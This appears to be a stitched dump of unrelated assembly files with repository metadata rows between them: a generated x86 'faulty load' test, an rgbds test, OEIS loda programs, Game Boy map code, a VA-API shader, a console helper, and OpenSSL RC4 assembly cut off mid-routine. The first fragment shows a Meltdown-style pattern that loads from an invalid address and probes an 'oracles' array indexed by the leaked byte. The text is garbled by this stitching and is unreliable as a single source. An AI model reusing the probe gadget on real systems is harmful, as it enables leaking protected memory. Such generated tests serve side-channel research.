cmp $14358, %rsi
// Store
mov $0xa3d, %rcx
add $52338, %r13
mov $0x5152535455565758, %rdx
movq %rdx, (%rcx)
sub %r13, %r13
// Store
lea addresses_WC+0x16a07, %r9
nop
nop
and %rcx, %rcx
movl $0x51525354, (%r9)
nop
nop
nop
nop
add $10593, %rsi
// Store
lea addresses_UC+0xf763, %rcx
nop
nop
nop
nop
nop
sub %r12, %r12
movl $0x51525354, (%rcx)
inc %rdi
// Faulty Load
mov $0x3531350000000e3d, %r12
nop
nop
nop
nop
nop
dec %rdx
movups (%r12), %xmm5
vpextrq $1, %xmm5, %rdi
lea oracles, %r12
and $0xff, %rdi
shlq $12, %rdi
mov (%r12,%rdi,1), %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': True, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': True, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': True, 'congruent': 1}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_NC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 5}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 4}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'44': 5757, '45': 6048, '49': 10013, '48': 11}
45 49 49 44 45 49 45 49 44 45 49 49 44 45 49 49 49 44 45 49 44 45 44 45 49 49 44 45 49 49 49 44 45 44 45 49 49 44 45 49 49 49 49 44 45 49 49 44 45 49 49 49 49 49 44 45 49 44 45 49 49 44 45 49 44 45 44 45 49 49 49 49 49 49 49 44 45 49 49 44 45 49 49 44 45 49 44 45 45 49 49 44 45 49 49 44 45 49 49 49 44 45 44 45 49 44 45 44 45 44 45 49 49 49 44 45 49 49 44 45 44 45 44 45 49 49 49 49 49 44 45 49 44 45 49 44 45 49 45 49 49 44 45 49 44 45 44 45 49 44 45 49 49 49 49 44 45 44 45 49 49 49 49 49 49 44 45 49 49 44 45 49 49 49 44 45 49 49 49 45 44 45 44 45 49 44 45 49 49 44 45 44 45 44 45 49 49 49 49 49 49 44 45 44 45 49 44 45 49 44 45 49 44 45 49 49 44 45 49 49 44 45 49 49 44 45 49 44 45 49 44 45 49 49 49 49 44 45 49 44 45 49 44 45 49 49 49 49 44 45 49 49 44 45 49 49 49 49 49 44 45 44 45 49 44 45 49 49 49 49 44 45 49 49 49 44 45 44 45 49 49 49 44 45 49 49 44 45 49 49 49 49 49 49 49 44 45 49 49 44 45 49 44 45 44 45 44 45 49 49 49 49 44 45 49 49 44 45 49 49 44 45 49 49 44 45 49 49 44 45 49 49 44 45 44 45 49 44 45 49 49 49 49 44 45 44 45 49 44 45 44 45 49 44 45 49 49 45 44 45 44 45 49 49 44 45 49 49 44 45 49 49 44 45 49 44 45 49 44 45 49 49 49 49 44 45 44 45 44 45 44 45 49 49 49 49 44 45 49 49 44 45 49 49 49 49 49 44 45 49 44 45 49 49 44 45 49 44 45 49 44 45 45 49 49 49 49 49 44 45 49 44 45 45 44 45 49 44 45 44 45 49 49 44 45 44 45 49 49 44 45 49 44 45 44 45 49 49 49 49 44 45 49 44 45 49 44 45 49 49 44 45 44 45 49 49 44 45 49 49 49 49 49 44 45 44 45 49 49 49 44 45 49 44 45 44 45 44 45 49 49 44 45 49 49 49 44 45 44 45 44 45 49 44 45 49 44 45 49 44 45 49 44 45 49 49 49 49 44 45 49 44 44 48 45 49 44 45 49 44 45 49 44 45 49 44 45 49 49 44 45 44 45 49 44 45 49 44 45 49 49 49 44 45 49 44 45 49 49 44 45 44 45 44 45 49 49 44 45 49 49 44 45 44 45 44 45 49 49 49 49 49 44 45 49 49 44 45 49 44 45 49 44 45 49 44 45 49 44 45 49 44 45 49 49 44 45 49 44 45 49 49 44 45 49 44 45 49 49 49 49 44 45 44 45 44 45 49 44 45 49 44 45 44 45 49 49 44 45 49 49 49 44 45 44 45 44 45 49 44 45 49 44 45 44 45 49 49 44 45 49 44 45 49 44 45 49 44 45 49 44 45 49 49 45 49 44 45 44 45 49 44 45 49 49 44 45 49 44 45 49 44 45 49 49 49 44 45 44 49 49 44 45 44 45 49 49 44 45 44 45 49 49 49 44 45 49 49 44 45 44 45 49 44 45 49 49 49 44 45 49 44 45 49 44 45 44 45 49 44 45 49 49 49 49 44 45 49 49 44 45 49 49 49 49 44 45 44 45 44 45 44 45 49 49 49 49 44 45 49 49 44 45 44 45 44 45 44 45 49 44 45 44 45 49 49 44 45 44 45 49 49 44 45 49 44 45 49 44 45 49 49 49 49 44 45 49 49 44 45 49 49 49 44 45 44 45 44 45 49 44 45 44 45 49 44 45 49 49 49 49 44 45 49 49 44 45 49 44 45 49 49 49 49 49 44 45 49 44 45 49 44 45 49 49 49 49 44 45 49 49 44 45 49 49 49 49 44 45 49 49 44 45 49 49 49 49 49 49 49 49 44 45 49 49 44 45 49 44 45 49 49 49 49 44 45 44 45 49 49 49 49 49 49 44 45 49 44 45 49 44 45 49 49 44 45 44 45 44 45 49 49 49 49 49 49 44 45 44 45 49 44 45 49 49 44 45 44 45 44 45 49 49 44 45 44 45 49 49 44 45 44 45 49 44 45 44 45 49 49 44 45 49 44 45 49 45 49 44 45 49 49 49 44 45 49 49 44 45 49 44 45 49 49 49 49 44 45 44 45
*/
| 33.098113
| 2,999
| 0.652491
|
fbf3ab3271a21959b40e49f25dcb066475503210
| 184
|
asm
|
Assembly
|
test/asm/nested-break.asm
|
michealccc/rgbds
|
b51e1c7c2c4ce2769f01e016967d0115893a7a88
|
[
"MIT"
] | 522
|
2017-02-25T21:10:13.000Z
|
2020-09-13T14:26:18.000Z
|
test/asm/nested-break.asm
|
michealccc/rgbds
|
b51e1c7c2c4ce2769f01e016967d0115893a7a88
|
[
"MIT"
] | 405
|
2017-02-25T21:32:37.000Z
|
2020-09-13T16:43:29.000Z
|
test/asm/nested-break.asm
|
michealccc/rgbds
|
b51e1c7c2c4ce2769f01e016967d0115893a7a88
|
[
"MIT"
] | 84
|
2017-02-25T21:10:26.000Z
|
2020-09-13T14:28:25.000Z
|
n=1
rept 10
print "A"
for x, 10
print "a"
if x==n
break
endc
print "z"
endr
if n==6
break
endc
println "Z"
n=n+1
endr
println "\nn={d:n} x={d:x}"
| 10.222222
| 27
| 0.494565
|
cca2e1a28393f20a099a722201331c4a1b00a145
| 261
|
asm
|
Assembly
|
programs/oeis/131/A131575.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/131/A131575.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/131/A131575.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A131575: First differences of A131572.
; 1,1,0,2,0,4,0,8,0,16,0,32,0,64,0,128,0,256,0,512,0,1024,0,2048,0,4096,0,8192,0,16384,0,32768,0,65536,0,131072,0,262144,0,524288,0,1048576,0,2097152,0,4194304,0,8388608,0
mov $1,$0
mod $0,2
mul $0,2
div $1,2
pow $0,$1
| 29
| 171
| 0.681992
|
e864e8df940bddb54078438d2bdee11225b7955e
| 553
|
asm
|
Assembly
|
rom/src/search.asm
|
Gegel85/GBCGoogleMaps
|
035a110fd565844b5c3c7188d6eba0933af31b9a
|
[
"MIT"
] | null | null | null |
rom/src/search.asm
|
Gegel85/GBCGoogleMaps
|
035a110fd565844b5c3c7188d6eba0933af31b9a
|
[
"MIT"
] | 13
|
2020-02-13T15:03:13.000Z
|
2020-02-13T15:27:08.000Z
|
rom/src/search.asm
|
Gegel85/GBCGoogleMaps
|
035a110fd565844b5c3c7188d6eba0933af31b9a
|
[
"MIT"
] | null | null | null |
search::
call loadTextAsset
; Change SSID
ld hl, searchText
call displayText
xor a
call typeText
; Prepare the command
ld hl, myCmdBuffer
ld a, SERVER_REQU
ld [hli], a
push hl
ld hl, typedTextBuffer
call getStrLen
pop hl
inc a
ld [hli], a
xor a
ld [hli], a
ld a, 2
ld [hli], a
ld bc, $100
ld d, h
ld e, l
ld hl, typedTextBuffer
call copyStr
xor a
ld [cartIntTrigger], a
call waitVBLANK
reset lcdCtrl
xor a
ld de, VRAMBgStart
ld bc, $300
call fillMemory
call loadTiles
reg lcdCtrl, LCD_BASE_CONTROL_BYTE
jp map
| 12.288889
| 35
| 0.694394
|
95156464470a25283141a10cae31a47f084f89e8
| 496
|
asm
|
Assembly
|
programs/oeis/083/A083919.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/083/A083919.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/083/A083919.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A083919: Number of divisors of n that are congruent to 9 modulo 10.
; 0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,2,0
add $0,1
mov $2,$0
lpb $0
mov $3,$2
mov $4,$0
cmp $4,0
add $0,$4
dif $3,$0
cmp $3,$2
cmp $3,0
mul $3,$0
sub $0,1
add $5,1
lpb $5
add $1,1
add $5,$3
mod $5,10
lpe
trn $5,3
lpe
mov $0,$1
| 19.84
| 201
| 0.510081
|
03fd6b19103b2eb100899a00d17aa14c865a5f41
| 384
|
asm
|
Assembly
|
F0xC_WIN/include/util/readConsoleLine.asm
|
Pusty/F0xC
|
946be39e872d9f1119cf04290cb7aa3aac39a9bc
|
[
"BSL-1.0"
] | null | null | null |
F0xC_WIN/include/util/readConsoleLine.asm
|
Pusty/F0xC
|
946be39e872d9f1119cf04290cb7aa3aac39a9bc
|
[
"BSL-1.0"
] | null | null | null |
F0xC_WIN/include/util/readConsoleLine.asm
|
Pusty/F0xC
|
946be39e872d9f1119cf04290cb7aa3aac39a9bc
|
[
"BSL-1.0"
] | null | null | null |
%ifndef READ_CONSOLE_LINE
%define READ_CONSOLE_LINE
%ifndef _READCONSOLELINE
extern _GetCommandLineA@16
%endif
;0 args
;returns pointer to commandline string
;example call readConsoleLine
readConsoleLine:
pop dword [std_addr] ;this is apparently the address, so let's just save it and push it back later :)
call _GetCommandLineA@16
push dword [std_addr]
ret
%endif
| 21.333333
| 102
| 0.778646
|
d95ee2d5cce63fba40082024bd02dbd7ede8f20c
| 726
|
asm
|
Assembly
|
oeis/041/A041097.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/041/A041097.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/041/A041097.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A041097: Denominators of continued fraction convergents to sqrt(56).
; Submitted by Jon Maiga
; 1,2,29,60,869,1798,26041,53880,780361,1614602,23384789,48384180,700763309,1449910798,20999514481,43448939760,629284671121,1302018282002,18857540619149,39017099520300,565096933903349,1169210967326998,16934050476481321,35037311920289640,507456417360536281,1049950146641362202,15206758470339607109,31463467087320576420,455695297692827676989,942854062472975930398,13655652172314490702561,28254158407101957335520,409213869871741893399841,846681898150585744135202,12262760443979942311292669
add $0,1
mov $3,4
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
dif $2,4
dif $2,7
mul $2,28
add $3,$2
lpe
mov $0,$2
div $0,28
| 38.210526
| 486
| 0.819559
|
f467b9ee8e2c876c972c64986b0d57c27923bc33
| 148
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/arch/ts2068/display/c/sccz80/tshc_saddrcup.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 38
|
2021-06-18T12:56:15.000Z
|
2022-03-12T20:38:40.000Z
|
libsrc/_DEVELOPMENT/arch/ts2068/display/c/sccz80/tshc_saddrcup.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 2
|
2021-06-20T16:28:12.000Z
|
2021-11-17T21:33:56.000Z
|
libsrc/_DEVELOPMENT/arch/ts2068/display/c/sccz80/tshc_saddrcup.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 6
|
2021-06-18T18:18:36.000Z
|
2021-12-22T08:01:32.000Z
|
; void *tshc_saddrcup(void *saddr)
SECTION code_clib
SECTION code_arch
PUBLIC tshc_saddrcup
EXTERN zx_saddrcup
defc tshc_saddrcup = zx_saddrcup
| 13.454545
| 34
| 0.824324
|
2546935364ee334870bde8bb3df9758ad572ca66
| 3,068
|
asm
|
Assembly
|
src/shaders/h264/mc/add_Error_16x16_Y.asm
|
me176c-dev/android_hardware_intel-vaapi-driver
|
0f2dca8d604220405e4678c0b6c4faa578d994ec
|
[
"MIT"
] | 192
|
2018-01-26T11:51:55.000Z
|
2022-03-25T20:04:19.000Z
|
src/shaders/h264/mc/add_Error_16x16_Y.asm
|
me176c-dev/android_hardware_intel-vaapi-driver
|
0f2dca8d604220405e4678c0b6c4faa578d994ec
|
[
"MIT"
] | 256
|
2017-01-23T02:10:27.000Z
|
2018-01-23T10:00:05.000Z
|
src/shaders/h264/mc/add_Error_16x16_Y.asm
|
me176c-dev/android_hardware_intel-vaapi-driver
|
0f2dca8d604220405e4678c0b6c4faa578d994ec
|
[
"MIT"
] | 64
|
2018-01-30T19:51:53.000Z
|
2021-11-24T01:26:14.000Z
|
/*
* Add macroblock correction Y data blocks to predicted picture
* Copyright © <2010>, Intel Corporation.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sub license, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice (including the
* next paragraph) shall be included in all copies or substantial portions
* of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.
* IN NO EVENT SHALL PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR
* ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
* This file was originally licensed under the following license
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
// Module name: add_Error_16x16_Y.asm
//
// Add macroblock correction Y data blocks to predicted picture
//
// Every line of predicted Y data is added to Y error data if CBP bit is set
mov (1) PERROR_UD<1>:ud 0x10001*ERRBUF*GRFWIB+0x00100000:ud // Pointers to first and second row of error block
and.z.f0.1 (1) NULLREG REG_CBPCY CBP_Y_MASK
(f0.1) jmpi (1) End_add_Error_16x16_Y // Skip all blocks
// Block Y0
//
$for(0,0; <8; 2,1) {
add.sat (16) DEC_Y(%1)<2> r[PERROR,%2*GRFWIB]REGION(8,1):w PRED_Y(%1)REGION(8,2) {Compr}
}
// Block Y1
//
$for(0,0; <8; 2,1) {
add.sat (16) DEC_Y(%1,16)<2> r[PERROR,%2*GRFWIB+0x80]REGION(8,1):w PRED_Y(%1,16)REGION(8,2) {Compr}
}
// Block Y2
//
$for(8,0; <16; 2,1) {
add.sat (16) DEC_Y(%1)<2> r[PERROR,%2*GRFWIB+0x100]REGION(8,1):w PRED_Y(%1)REGION(8,2) {Compr}
}
// Block Y3
//
$for(8,0; <16; 2,1) {
add.sat (16) DEC_Y(%1,16)<2> r[PERROR,%2*GRFWIB+0x180]REGION(8,1):w PRED_Y(%1,16)REGION(8,2) {Compr}
}
End_add_Error_16x16_Y:
add (1) PERROR_UD<1>:ud PERROR_UD:ud 0x01800180:ud // Pointers to Y3 error block
// End of add_Error_16x16_Y
| 37.414634
| 115
| 0.693286
|
f23cfca7f8dac091374cdaead2f81bd87cda420a
| 486
|
asm
|
Assembly
|
programs/oeis/193/A193335.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/193/A193335.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/193/A193335.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A193335: Number of odd divisors of sigma(n).
; 1,2,1,2,2,2,1,4,2,3,2,2,2,2,2,2,3,4,2,4,1,3,2,4,2,4,2,2,4,3,1,6,2,4,2,4,2,4,2,6,4,2,2,4,4,3,2,2,4,4,3,3,4,4,3,4,2,6,4,4,2,2,2,2,4,3,2,6,2,3,3,8,2,4,2,4,2,4,2,4,3,6,4,2,4,4,4,6,6,6,2,4,1,3,4,6,3,6,4,4
seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n).
sub $0,1
seq $0,54844 ; Number of ways to write n as the sum of any number of consecutive integers (including the trivial one-term sum n = n).
div $0,2
| 60.75
| 201
| 0.615226
|
aa9c079fc0aba5b7e347e082834e3e23cc541379
| 6,192
|
asm
|
Assembly
|
Eudora71/OpenSSL/crypto/rc4/asm/r4_win32.asm
|
dusong7/eudora-win
|
850a6619e6b0d5abc770bca8eb5f3b9001b7ccd2
|
[
"BSD-3-Clause-Clear"
] | 10
|
2018-05-23T10:43:48.000Z
|
2021-12-02T17:59:48.000Z
|
Eudora71/OpenSSL/crypto/rc4/asm/r4_win32.asm
|
ivanagui2/hermesmail-code
|
34387722d5364163c71b577fc508b567de56c5f6
|
[
"BSD-3-Clause-Clear"
] | 1
|
2019-03-19T03:56:36.000Z
|
2021-05-26T18:36:03.000Z
|
Eudora71/OpenSSL/crypto/rc4/asm/r4_win32.asm
|
ivanagui2/hermesmail-code
|
34387722d5364163c71b577fc508b567de56c5f6
|
[
"BSD-3-Clause-Clear"
] | 11
|
2018-05-23T10:43:53.000Z
|
2021-12-27T15:42:58.000Z
|
; Don't even think of reading this code
; It was automatically generated by rc4-586.pl
; Which is a perl program used to generate the x86 assember for
; any of elf, a.out, BSDI, Win32, gaswin (for GNU as on Win32) or Solaris
; eric <eay@cryptsoft.com>
;
TITLE rc4-586.asm
.386
.model FLAT
_TEXT SEGMENT
PUBLIC _RC4
_RC4 PROC NEAR
mov edx, DWORD PTR 8[esp]
cmp edx, 0
jne $L000proceed
ret
$L000proceed:
;
push ebp
push ebx
push esi
xor eax, eax
push edi
xor ebx, ebx
mov ebp, DWORD PTR 20[esp]
mov esi, DWORD PTR 28[esp]
mov al, BYTE PTR [ebp]
mov bl, BYTE PTR 4[ebp]
mov edi, DWORD PTR 32[esp]
inc al
sub esp, 12
add ebp, 8
cmp DWORD PTR 256[ebp],-1
je $L001RC4_CHAR
lea edx, DWORD PTR [esi+edx-8]
mov DWORD PTR 8[esp],edx
mov ecx, DWORD PTR [eax*4+ebp]
cmp edx, esi
jb $L002end
$L003start:
add esi, 8
; Round 0
add bl, cl
mov edx, DWORD PTR [ebx*4+ebp]
mov DWORD PTR [eax*4+ebp],edx
add edx, ecx
mov DWORD PTR [ebx*4+ebp],ecx
and edx, 255
inc al
mov ecx, DWORD PTR [eax*4+ebp]
mov edx, DWORD PTR [edx*4+ebp]
mov BYTE PTR [esp], dl
; Round 1
add bl, cl
mov edx, DWORD PTR [ebx*4+ebp]
mov DWORD PTR [eax*4+ebp],edx
add edx, ecx
mov DWORD PTR [ebx*4+ebp],ecx
and edx, 255
inc al
mov ecx, DWORD PTR [eax*4+ebp]
mov edx, DWORD PTR [edx*4+ebp]
mov BYTE PTR 1[esp],dl
; Round 2
add bl, cl
mov edx, DWORD PTR [ebx*4+ebp]
mov DWORD PTR [eax*4+ebp],edx
add edx, ecx
mov DWORD PTR [ebx*4+ebp],ecx
and edx, 255
inc al
mov ecx, DWORD PTR [eax*4+ebp]
mov edx, DWORD PTR [edx*4+ebp]
mov BYTE PTR 2[esp],dl
; Round 3
add bl, cl
mov edx, DWORD PTR [ebx*4+ebp]
mov DWORD PTR [eax*4+ebp],edx
add edx, ecx
mov DWORD PTR [ebx*4+ebp],ecx
and edx, 255
inc al
mov ecx, DWORD PTR [eax*4+ebp]
mov edx, DWORD PTR [edx*4+ebp]
mov BYTE PTR 3[esp],dl
; Round 4
add bl, cl
mov edx, DWORD PTR [ebx*4+ebp]
mov DWORD PTR [eax*4+ebp],edx
add edx, ecx
mov DWORD PTR [ebx*4+ebp],ecx
and edx, 255
inc al
mov ecx, DWORD PTR [eax*4+ebp]
mov edx, DWORD PTR [edx*4+ebp]
mov BYTE PTR 4[esp],dl
; Round 5
add bl, cl
mov edx, DWORD PTR [ebx*4+ebp]
mov DWORD PTR [eax*4+ebp],edx
add edx, ecx
mov DWORD PTR [ebx*4+ebp],ecx
and edx, 255
inc al
mov ecx, DWORD PTR [eax*4+ebp]
mov edx, DWORD PTR [edx*4+ebp]
mov BYTE PTR 5[esp],dl
; Round 6
add bl, cl
mov edx, DWORD PTR [ebx*4+ebp]
mov DWORD PTR [eax*4+ebp],edx
add edx, ecx
mov DWORD PTR [ebx*4+ebp],ecx
and edx, 255
inc al
mov ecx, DWORD PTR [eax*4+ebp]
mov edx, DWORD PTR [edx*4+ebp]
mov BYTE PTR 6[esp],dl
; Round 7
add bl, cl
mov edx, DWORD PTR [ebx*4+ebp]
mov DWORD PTR [eax*4+ebp],edx
add edx, ecx
mov DWORD PTR [ebx*4+ebp],ecx
and edx, 255
inc al
mov edx, DWORD PTR [edx*4+ebp]
add edi, 8
mov BYTE PTR 7[esp],dl
; apply the cipher text
mov ecx, DWORD PTR [esp]
mov edx, DWORD PTR [esi-8]
xor ecx, edx
mov edx, DWORD PTR [esi-4]
mov DWORD PTR [edi-8],ecx
mov ecx, DWORD PTR 4[esp]
xor ecx, edx
mov edx, DWORD PTR 8[esp]
mov DWORD PTR [edi-4],ecx
mov ecx, DWORD PTR [eax*4+ebp]
cmp esi, edx
jbe $L003start
$L002end:
; Round 0
add edx, 8
inc esi
cmp edx, esi
jb $L004finished
mov DWORD PTR 8[esp],edx
add bl, cl
mov edx, DWORD PTR [ebx*4+ebp]
mov DWORD PTR [eax*4+ebp],edx
add edx, ecx
mov DWORD PTR [ebx*4+ebp],ecx
and edx, 255
inc al
mov ecx, DWORD PTR [eax*4+ebp]
mov edx, DWORD PTR [edx*4+ebp]
mov dh, BYTE PTR [esi-1]
xor dl, dh
mov BYTE PTR [edi], dl
; Round 1
mov edx, DWORD PTR 8[esp]
cmp edx, esi
jbe $L004finished
inc esi
add bl, cl
mov edx, DWORD PTR [ebx*4+ebp]
mov DWORD PTR [eax*4+ebp],edx
add edx, ecx
mov DWORD PTR [ebx*4+ebp],ecx
and edx, 255
inc al
mov ecx, DWORD PTR [eax*4+ebp]
mov edx, DWORD PTR [edx*4+ebp]
mov dh, BYTE PTR [esi-1]
xor dl, dh
mov BYTE PTR 1[edi],dl
; Round 2
mov edx, DWORD PTR 8[esp]
cmp edx, esi
jbe $L004finished
inc esi
add bl, cl
mov edx, DWORD PTR [ebx*4+ebp]
mov DWORD PTR [eax*4+ebp],edx
add edx, ecx
mov DWORD PTR [ebx*4+ebp],ecx
and edx, 255
inc al
mov ecx, DWORD PTR [eax*4+ebp]
mov edx, DWORD PTR [edx*4+ebp]
mov dh, BYTE PTR [esi-1]
xor dl, dh
mov BYTE PTR 2[edi],dl
; Round 3
mov edx, DWORD PTR 8[esp]
cmp edx, esi
jbe $L004finished
inc esi
add bl, cl
mov edx, DWORD PTR [ebx*4+ebp]
mov DWORD PTR [eax*4+ebp],edx
add edx, ecx
mov DWORD PTR [ebx*4+ebp],ecx
and edx, 255
inc al
mov ecx, DWORD PTR [eax*4+ebp]
mov edx, DWORD PTR [edx*4+ebp]
mov dh, BYTE PTR [esi-1]
xor dl, dh
mov BYTE PTR 3[edi],dl
; Round 4
mov edx, DWORD PTR 8[esp]
cmp edx, esi
jbe $L004finished
inc esi
add bl, cl
mov edx, DWORD PTR [ebx*4+ebp]
mov DWORD PTR [eax*4+ebp],edx
add edx, ecx
mov DWORD PTR [ebx*4+ebp],ecx
and edx, 255
inc al
mov ecx, DWORD PTR [eax*4+ebp]
mov edx, DWORD PTR [edx*4+ebp]
mov dh, BYTE PTR [esi-1]
xor dl, dh
mov BYTE PTR 4[edi],dl
; Round 5
mov edx, DWORD PTR 8[esp]
cmp edx, esi
jbe $L004finished
inc esi
add bl, cl
mov edx, DWORD PTR [ebx*4+ebp]
mov DWORD PTR [eax*4+ebp],edx
add edx, ecx
mov DWORD PTR [ebx*4+ebp],ecx
and edx, 255
inc al
mov ecx, DWORD PTR [eax*4+ebp]
mov edx, DWORD PTR [edx*4+ebp]
mov dh, BYTE PTR [esi-1]
xor dl, dh
mov BYTE PTR 5[edi],dl
; Round 6
mov edx, DWORD PTR 8[esp]
cmp edx, esi
jbe $L004finished
inc esi
